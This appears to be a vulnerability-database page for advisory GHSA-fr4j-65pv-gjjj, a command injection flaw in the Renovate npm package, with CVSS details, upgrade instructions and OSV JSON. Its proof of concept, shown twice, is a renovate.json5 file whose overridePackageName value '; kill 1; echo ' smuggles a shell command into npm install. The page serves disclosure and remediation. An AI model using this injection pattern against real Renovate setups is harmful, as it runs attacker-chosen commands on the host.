GHSA-fr4j-65pv-gjjj: Renovate Renovate Vulnerable To Arbitrary Command Vulnerability
MODERATE
Advisory Summary
GHSA-fr4j-65pv-gjjj is a MODERATE (CVSS 6.7) renovate vulnerable to arbitrary command vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Renovate libraries in the npm ecosystem. The issue involves renovate vulnerable to arbitrary command injection via npm manager and malicious renovate configuration. Remediation is available by upgrading affected packages to version 40.33.0.
GHSA-fr4j-65pv-gjjj at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-fr4j-65pv-gjjj
Severity
MODERATE
CVSS v3.1 Base Score
6.7
CWE Classification
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product
Renovate
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 6.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Local (AV:L)
Attack Complexity
Low (AC:L)
Privileges Required
High (PR:H)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix GHSA-fr4j-65pv-gjjj
To remediate this vulnerability, upgrade all affected Renovate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
renovate
fixed: 40.33.0
npm install renovate@40.33.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls renovateHow to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-fr4j-65pv-gjjj, inspect your project dependencies using npm:
npm ls renovateAnalyze the terminal output to locate any version of Renovate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 40.33.0), your application is affected.
Note: The npm ls renovate command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Renovate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
The user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization.
### Details
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using the `quote` function from the `shlex` package.
This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.
### PoC
1. Create a git repo with the following content:
`renovate.json5`:
```json5
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}
```
`package.json`:
```json
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}
```
`package-lock.json`:
```json
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}
```
2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.
> [!NOTE]
> This specific proof of concept relies on the introduction of the `overrideDatasource` and `overridePackageName` configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.
### Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
GHSA-fr4j-65pv-gjjj Affected Renovate Versions
1 component(s)
Fixed Versions:
40.33.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
renovate
|
npm |
≥ 35.63.0
< 40.33.0
|
40.33.0
|
References
Frequently Asked Questions
What is GHSA-fr4j-65pv-gjjj?
GHSA-fr4j-65pv-gjjj is a security vulnerability in Renovate involving Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Renovate versions are affected?
Affected versions include releases prior to 40.33.0 across affected packages: renovate.
What version fixes GHSA-fr4j-65pv-gjjj?
Upgrading to 40.33.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is renovate affected?
Yes, renovate is affected in releases prior to 40.33.0. Upgrade your dependency to 40.33.0 or later.
What is the CVSS score of GHSA-fr4j-65pv-gjjj?
GHSA-fr4j-65pv-gjjj has a CVSS v3.1 base score of 6.7 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-fr4j-65pv-gjjj?
GHSA-fr4j-65pv-gjjj is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-fr4j-65pv-gjjj?
Run the dependency tree command: 'npm ls renovate'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-fr4j-65pv-gjjj",
"modified" : "2026-01-13T20:28:16Z",
"published" : "2026-01-13T20:28:16Z",
"aliases" : [ ],
"summary" : "Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration",
"details" : "### Summary\nThe user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization.\n\n\n### Details\nAdversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.\nThe user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: ['{\"releases\":[{\"version\":\"11.1.0\"}]}'],\n },\n },\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"npm\"],\n // Provide a command in the package name\n overridePackageName: \"; kill 1; echo \",\n // Override the datasource to prevent a lookup failure\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`package.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n}\n```\n\n\n`package-lock.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"lockfileVersion\": 3,\n \"requires\": true,\n \"packages\": {\n \"\": {\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n },\n \"node_modules/uuid\": {\n \"version\": \"11.0.0\",\n \"resolved\": \"https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz\",\n \"integrity\": \"sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==\",\n \"funding\": [\n \"https://github.com/sponsors/broofa\",\n \"https://github.com/sponsors/ctavan\"\n ],\n \"license\": \"MIT\",\n \"bin\": {\n \"uuid\": \"dist/esm/bin/uuid\"\n }\n }\n }\n}\n\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n> [!NOTE]\n> This specific proof of concept relies on the introduction of the `overrideDatasource` and `overridePackageName` configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "renovate"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "35.63.0"
}, {
"fixed" : "40.33.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/renovatebot/renovate/security/advisories/GHSA-fr4j-65pv-gjjj"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/renovatebot/renovate"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-13T20:28:16Z",
"nvd_published_at" : null
}
}